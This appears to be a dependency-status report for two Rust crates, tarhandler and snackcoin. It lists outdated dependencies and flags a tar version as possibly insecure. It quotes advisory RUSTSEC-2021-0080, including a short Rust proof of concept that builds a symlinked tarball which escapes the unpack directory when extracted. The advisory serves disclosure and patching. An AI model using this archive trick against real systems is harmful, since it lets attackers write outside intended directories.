This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate tarhandler

Dependencies

(4 total, 2 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 futures^0.2.00.3.31out of date
 iron^0.6.00.6.1up to date
 mime_guess^1.8.42.0.5out of date
 tar ⚠️^0.4.150.4.44maybe insecure

Crate snackcoin

Dependencies

(9 total, 2 outdated)

CrateRequiredLatestStatus
 failure^0.1.10.1.8up to date
 futures^0.2.00.3.31out of date
 iron^0.6.00.6.1up to date
 log^0.4.10.4.26up to date
 logger^0.4.00.4.0up to date
 mount^0.4.00.4.0up to date
 router^0.6.00.6.0up to date
 structopt^0.2.70.3.26out of date
 tokio-core^0.1.170.1.18up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!